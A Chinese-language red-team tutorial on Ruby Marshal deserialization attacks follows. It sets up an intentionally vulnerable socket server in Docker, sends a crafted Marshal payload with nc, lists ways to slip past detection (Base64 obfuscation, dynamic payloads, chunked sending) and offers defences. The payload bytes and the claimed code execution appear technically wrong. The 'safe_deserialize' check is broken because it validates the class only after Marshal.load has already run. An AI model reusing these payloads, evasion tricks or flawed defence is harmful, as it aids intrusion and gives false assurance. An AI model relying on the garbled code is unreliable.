0x01 攻击板块
反序列化漏洞是一个常见且被严重低估的安全问题。许多开发者在处理对象序列化时，往往忽略了对数据的严格验证，导致攻击者可以通过精心构造的序列化数据触发漏洞，甚至执行任意代码。为了从防御角度去反推攻击方法，我们首先需要理解反序列化漏洞的成因和可能的攻击面。
漏洞成因揭秘
反序列化的本质是将序列化的字节流转换成对象，而这个过程如果没有进行严格的类型验证和输入清洗，攻击者便可以利用其注入恶意对象。Ruby语言中，常见的反序列化漏洞通常发生在使用 Marshal.load 或 YAML.load 等方法时，因为这些方法会将输入数据解析为对象，从而面临被植入恶意对象的风险。
举个例子，如果一个应用程序从不可信来源接收序列化数据，并直接调用 Marshal.load 方法解析，那么攻击者可以构造恶意的序列化数据包来实现代码执行：
<pre><code class="language-ruby"># 这是一个易受攻击的代码示例 data = gets.chomp # 从用户输入获取数据 object = Marshal.load(data) # 不安全的反序列化</code></pre>
攻击者可以通过发送恶意的数据包来执行任意代码，例如：
<pre><code class="language-ruby"># 恶意构造的序列化数据 malicious_data = "\x04\bo:8:ERB\x06:\n@srcI\"\x0eputs 'Hello, World!'\x06:\x06ET"</code></pre>
以上代码利用了 Ruby 的 ERB 对象，攻击者能够在反序列化过程中执行 puts 'Hello, World!'。
0x02 环境准备工作
在进行实战演练前，我们需要搭建一个可供测试的环境。这部分我们将使用 Docker 来创建一个简单的 Ruby 应用程序容器，以便我们可以在隔离的环境中进行测试。
步骤一：创建Dockerfile
首先，创建一个名为 Dockerfile 的文件，并写入以下内容：
<pre><code class="language-dockerfile"># 使用官方的 Ruby 镜像 FROM ruby:3.0
创建应用程序目录
WORKDIR /usr/src/app
复制当前目录内容到工作目录
COPY . .
安装必要的依赖
RUN gem install bundler && bundle install
启动应用程序
CMD ["ruby", "app.rb"]</code></pre>
步骤二：编写应用程序代码
在当前目录创建一个名为 app.rb 的文件，内容如下：
<pre><code class="language-ruby">require 'socket'
server = TCPServer.new 8080
puts "Server is running on port 8080..."
loop do client = server.accept
puts "Client connected!"
data = client.gets.chomp begin object = Marshal.load(data) # 不安全的反序列化 client.puts "Object received: #{object.inspect}" rescue => e client.puts "Failed to load object: #{e.message}" end
client.close end</code></pre>
步骤三：构建并启动容器
执行以下命令构建并运行 Docker 容器：
<pre><code class="language-shell"># 构建 Docker 镜像 docker build -t ruby-serialization-app .
运行 Docker 容器
docker run -p 8080:8080 ruby-serialization-app</code></pre>
容器启动后，应用程序将监听 8080 端口，等待客户端发送序列化数据。
0x03 攻击链实战演示
现在我们已经有了一个基础环境，可以展开实战攻击。针对上述应用程序，我们将构造一个恶意的序列化数据来触发反序列化漏洞并执行任意代码。
构造恶意载荷
基于之前的漏洞成因分析，我们可以采用 Shell 脚本来生成恶意的序列化数据，并发送到我们的应用程序。
<pre><code class="language-shell">#!/bin/bash
构造恶意序列化数据
malicious_data="\x04\bo:8:ERB\x06:\n@srcI\"\x1bputs 'Hello, Ruby Hackers!'\x06:\x06ET"
使用 nc 命令发送数据到服务器
echo -e "$malicious_data" | nc localhost 8080</code></pre>
执行上述脚本后，我们的应用程序将输出 "Hello, Ruby Hackers!"，证明我们成功进行了反序列化攻击。
0x04 隐身术：绕过与免杀
攻击成功之后，如何绕过检测和提高免杀能力是关键。通常，攻击者可以通过以下几种方式来规避检测：
技巧一：数据混淆
对序列化数据进行混淆处理，比如通过 Base64 编码，然后在攻击载荷中解码：
<pre><code class="language-ruby"># 使用 Base64 编码 require 'base64'
encoded_data = Base64.encode64(malicious_data) decoded_data = Base64.decode64(encoded_data)
发送经过编码的序列化数据
puts decoded_data # 解码后可以直接发送</code></pre>
技巧二：动态生成
在攻击过程中动态生成恶意载荷，避免固定的序列化数据被检测：
<pre><code class="language-ruby"># 动态生成恶意载荷 dynamic_payload = "\x04\bo:8:ERB\x06:\n@srcI\"" + "puts 'Dynamic Attack!'".bytes.pack('C*') + "\x06:\x06ET"</code></pre>
技巧三：分块传输
将完整的载荷分割成多个部分，通过分块传输减少被发现的概率：
<pre><code class="language-ruby"># 分块传输恶意数据 chunks = [malicious_data[0..5], malicious_data[6..10], malicious_data[11..-1]] chunks.each do |chunk|
逐块发送数据
puts "Sending chunk: #{chunk}"
模拟发送操作
end</code></pre>
0x05 防御者的反击：检测与防御
虽然反序列化漏洞很难有效防御，但我们可以采取一些措施来降低风险：
策略一：输入验证
对所有来自不可信来源的序列化数据进行严格的输入验证，避免直接调用反序列化操作。
<pre><code class="language-ruby">def safe_deserialize(data)
添加白名单类型验证
permitted_classes = [String, Array, Hash]
begin obj = Marshal.load(data) raise "Unpermitted class!" unless permitted_classes.include?(obj.class)
return obj rescue => e puts "Serialization error: #{e.message}" nil end end</code></pre>
策略二：使用安全替代方案
考虑使用更安全的序列化方法或格式，比如 JSON，它不支持执行代码特性。
<pre><code class="language-ruby">require 'json'
使用 JSON 进行序列化和反序列化
json_data = JSON.generate({ message: "Safe data" }) parsed_data = JSON.parse(json_data)</code></pre>
策略三：监控与日志记录
设置反序列化操作的监控与日志记录，发现异常行为时及时响应。
<pre><code class="language-ruby">require 'logger'
logger = Logger.new('serialization.log')
begin object = Marshal.load(data) logger.info("Successfully loaded object: #{object.inspect}") rescue => e logger.error("Failed to deserialize object: #{e.message}") end</code></pre>
0x06 红队的思考：攻与防的对弈
在反序列化漏洞的攻防对抗中，攻击者与防御者的博弈是永恒的话题。作为一名红队成员，理解攻击链的每一个环节并找到突破口是我们的职责。在实战中，风险评估、漏洞武器化、载荷免杀都是需要深入研究的领域。每一次成功的攻击都离不开对细节的把握，每一次有效的防御都源自对漏洞的深刻理解。希望这篇文章能够帮助你更好地理解反序列化漏洞的攻防技术。记住：安全的本质在于不断地探索与实践。
合法声明：本文仅用于授权安全测试和研究学习，切勿在未经许可的情况下进行实际攻击。